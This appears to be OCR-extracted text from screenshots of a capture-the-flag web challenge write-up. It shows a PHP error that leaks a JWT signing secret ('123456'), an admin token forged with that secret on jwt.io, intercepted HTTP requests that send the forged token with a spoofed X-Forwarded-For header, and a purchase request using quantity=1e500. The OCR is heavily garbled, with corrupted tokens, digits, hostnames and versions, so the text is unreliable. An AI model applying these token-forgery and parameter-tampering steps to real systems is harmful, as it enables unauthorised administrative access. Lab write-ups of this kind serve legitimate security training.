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JRaw T Headers T Hex ]
A | HTTP/1.1 200 OK
Iy Date: Wed, 01 Aug Z018 0&:07:37 GMT
Server: Apache/Z.4.25 (Deblian)
¥—Powered-By: PHE/7.0.31
Vary: Accept-Encoding
Content-Length: 355
Eeep-Alive: timeout=5, max=100
Connectlon: Eeep-Alive
Content-Type: text/html; charset=UTF-8
<br />
<hb>»Fatal error</b>: Uncaught UnexpectedValueException: Wrong
number of segments in
/var fuwu/html /vendor/firebase/php-jwt /src/JWT . php: 78
Stack trace:
#0 /var/www/html/auth. php(36):
Firebase\JWT\JWT: : decode( 'eyJ0eXRAiOiJKV1Q... ", '123456", Array)
#1 {main}
thrown in
<h>/var /fwww/html/vendor/firebase/php-jwt/src/JWT . php</h> on line
<b>718</b><hr />
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https://jwt.io/
I: nCOd ed PASTE ATOKEN HERE Decoded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

eyJhbGci0iJIUzITNiIsInR5cCI6IkpXVCJ9. ey

uYW11IjoiYWRtaW4ilCJhZG1pbiI6InRydWUifQ. { S
_URm80bgNiVdPdsTmxsgpboYy3S1C7L7SYBmF6rI 'Tyﬂ%'UWT'J
nvU }
PAYLOAD: DATA
“name” : “admin”,
"admin”:"true”
}
VERIFY SIGNATURE
HMACSHA256 (
base64UrlEncode(header) + "." +

base64UrlEncode(payload),
123456

) [ secret base64 encoded

¥ 318 encodefilttburpsuitefitoken, 75 %flag



https://jwt.io/

GET /auth.php?username=guest&password=admin HTTP/1.1
Host: 54.223.83.192:8877

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Gecko/Z0100101 Firefox/56.0

Accept:

WoWa4;

Accept-Language:

Accept-Encoding: gzip, deflate
Referer: http://54.223.83.1592:8877/
Cookie: hibext instdsigdipvI=1;

EHPSESSID=0f17de4059120ee95L071bkodadd07as;

Connection: keep-alive
Upgrade-Insecure-Requests: 1

¥-Forwarded-For: 1.1.1.1

http://54.223.83.192:9999
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rv:5a.0)

text/html, application/xhtml+xml, application/=ml;q=0.9,*/*;q=0.3

zh-CM, zh;g=0.8, zh-TW;g=0.7, zh-HE;q=0. 5,en-US; g=0.3,en;q=0.2

token=eyThbhEci0iJIUzI1INiIgInRScCIETLpHVCTY. ey Ju¥YW11lIjoiYWRtaWdiLCThiG
1pbiI&InRydWULif0. uRmBObgNivdPdsTmxsgpbo¥Yy381CT7L7SYEmMFErInvy

HTTE/1.1 200 OK
Date: Wed, 01 Aug Z018 0&:44:52 GMT
Server: Apache/Z.4.25 (Debian)
¥-Powered-By: PHE/7.0.31
Content-Length: 34
Keep-Alive: timeout=5,
Connection: Keep-Alive
Content-Type: text/html;

T

max=100
charset=UTF-3
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POST /index.php?action=sell HTTP/1.1

Host: 54.Z223.83.19Z:9509

User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4;
Gecko/20100101 Firefox/56.0

Accept:

text/html, application/zhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language:

zh-ClN, zh;g=0. 8, zh-TW;g=0.7, zh-HK;q=0.5,en-US8;q=0.3,en;q=0.Z
Accept-Enceding: gzip, dsflate

Referer: http://54.223.83.192:99599/index. php?action=sellepid=C
Content-Type: application/x-www-form-urlencoded

Content-Length: Z7

Cookie: hibext instdsigdipvI=1;
PHPSESSID=8f17de405912%=e95b071bb9%dadd07asa;
token=eyJ0eXAiOIJKVIQILCThbGeiOiJIU=2IINLITY. ey JuYW1lI jol23V1c30iL
CIThzGlpbiIFImZhbHN1IND. uFSREWwWLSKGEBHCE JwphCARLzVzoxnEzRd-n¥zkpM3
1s

Connection: keep-alive

Upgrade-Insecure—-Requests: 1

¥-Forwarded-For: 1.1.1.1

rv:56.0)

quantity=le500&product_id=2

e

-t

Server: Apache/Z.4.25 (Deblan)

¥-Powered-By: PHBE/5.&.37

Expires: Thu, 19 Nov 1981 DB:52:00 GMT
Cache-Control: no-store, nust-revalidate,
post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding
Content-Length: 546
Keep-Alive: timeout=5,
Connection: Keep-Alive
Content-Type: text/html;

no-cache,

max=100
charset=UTF-8
<l!doctype HTI

<html>
<head>

publ

<title>»Shop</title>
<link rel="stylesheet' type="text/css'
href='css/style.css' />
</head>
<body>
<div id='container'>
<div id="header':>
<hZ style="text-align:center;'>Welcome
to the Shop!</hI>
<p
style="text-align:center;"><a href="./index.php'>View
Products</a> <a href="./index.php?action=list'>Home</a></p>
</div>
<div
id="content'><scriptralert('0O000") ;window. location. href="index.
php?action=1list " ;</script> </div»<!-- End
content—-->
</div»<!-- End container—-->
</body>
</html>
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http://www.cn-hack.cn/qs/2sdfadf.htm
http://www.cn-hack.cn/qs/or3.htm
http://www.cn-hack.cn/qs/4dfsa.htm

GET /gs/l.htm?username=gspassword=&submit=%CC$EL1%EDSEE
HTTER/1.1

Host: www.cn-hack.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64;
rv:52.0) Gecko/Z0100101 Firefox/5Z2.0

Accept:

text/html, application/xzhtml+=ml, application/xml;q=0.9,*/
*;g=0.8

Accept-Language: zh-CN,zh;q=0.8,en-Us8;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://www.cn-hack.con/qs/4df=sa. htm

Cookie:
UM_distinctid=165175fcfc79-0e03e70593a7528-4c322078-1440
00-165175fcfc8279;
CNZZDATA450942=cnzz_eid%3D259875816-1533695479-httpsZ53A
$250F$250Fwww. en-hack. cn%250F$26ntime$3D1533685479
Connection: keep-alive

Upgrade-Insecure-Requests: 1

payload:http://www.cn-hack.cn/qs/789.htm

HTTE/1.1 200 OK
Server: nglnx

Date: Wed,

Content-Type:

08 Aug Z0

Content-Length: 140
keep-alive
¥-Accel-Version: 0.0
Last-Modified: Mon,

ETag: "Bc-54Zel4e9Za3%e-gzip"”
Accept-Ranges: bytes
Vary: Accept-Encoding, User-Agent

Connection:

<html>
<head>

18 03:0Z:00 GMT

text/html

1
05 Dec Z01lg 05:10:31 &b

<title>checklogin</title>

</head>
<body>

OOOO00000000000

<!-—_5
</ body>
</html>
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